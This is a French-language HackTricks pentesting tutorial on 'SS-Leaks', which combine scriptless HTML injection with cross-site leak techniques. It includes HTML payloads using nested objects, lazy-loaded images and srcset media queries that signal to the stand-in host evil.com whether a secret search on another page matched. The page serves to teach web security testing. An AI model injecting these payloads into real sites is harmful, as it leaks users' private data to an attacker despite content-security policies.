hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

86 lines
7.3 KiB
Markdown
Raw Normal View History

# Fuites de SS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Il s'agit d'un **mélange** entre **markup suspendu et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas du JS) dans une page de la **même origine** que celle que nous attaquerons. D'un autre côté, nous n'**attaquerons** pas directement la page dans laquelle nous pouvons injecter du HTML, mais **une autre page**.
## Objets imbriqués
Si le point de terminaison <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> renvoie un code d'état 404, alors l'objet interne est chargé, donnant un rappel à <mark style="color:yellow;">`https://evil.com?callback=a`</mark> et nous indiquant que la requête de recherche `a` n'a donné aucun résultat.
```html
<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>
```
### Chargement paresseux
Et si CSP bloque les objets externes ? Essayons à nouveau avec le CSP suivant :
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
Notre rappel `object` précédent ne fonctionne plus. À la place, nous pouvons utiliser le [chargement paresseux](https://developer.mozilla.org/fr/docs/Web/Performance/Lazy_loading) d'images ! L'image suivante ne se chargera que lorsqu'elle sera visible et à une certaine distance de la fenêtre d'affichage.
```html
<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>
```
### Images Réactives
La technique ci-dessus est excellente, mais elle repose sur notre injection HTML se trouvant dans le champ de vision de l'utilisateur.
Si l'injection est hors de l'écran et que l'utilisateur ne fait pas défiler, pouvons-nous toujours divulguer des données ? Bien sûr, nous pouvons utiliser des identifiants d'éléments et [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) pour créer une URL qui force un défilement, mais cela dépend de l'interaction de l'utilisateur et ne nous permet pas d'obtenir des fuites cohérentes dans un scénario réel. Idéalement, nous voulons armer l'injection HTML stockée de manière fiable.
Entrez les images réactives ! Plus précisément, les attributs `srcset` et `sizes` des images.
{% code overflow="wrap" %}
```html
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
```
{% endcode %}
Il y a plusieurs choses à comprendre ici. Tout d'abord, rappelez-vous que l'iframe interne ne sera visible que si le point de terminaison fuyant renvoie un code d'état 404.
C'est important car nous allons maintenant charger conditionnellement l'image dans l'iframe à partir de deux URL différentes. En utilisant l'attribut `sizes`, nous pouvons utiliser des [requêtes média](https://developer.mozilla.org/fr/docs/Web/CSS/Requ%C3%AAtes_m%C3%A9dia_CSS/Utiliser_des_requ%C3%AAtes_m%C3%A9dia) pour choisir à partir de quelle URL charger l'image, en fonction de la taille de l'affichage.
{% code overflow="wrap" %}
```html
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
```
{% endcode %}
Étant donné que notre iframe a une largeur de `width="1000px"`, les événements suivants se produisent :
1. Si le point de terminaison de fuite renvoie un code d'état 404, l'iframe est affichée et a une largeur de 1000px. L'image à l'intérieur de l'iframe correspond à la requête média `(min-width: 1000px)` et charge l'image de 800px à partir de `https://evil.com?callback=0`.
2. Si le point de terminaison de fuite renvoie un code d'état 200, l'iframe n'est _pas_ affichée. Étant donné que l'image n'est pas rendue dans le cadre d'une grande iframe, elle correspond à la requête média `(max-width 999px)` et charge l'image de 480px à partir de `https://evil.com?callback=1`.
## Références
* [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>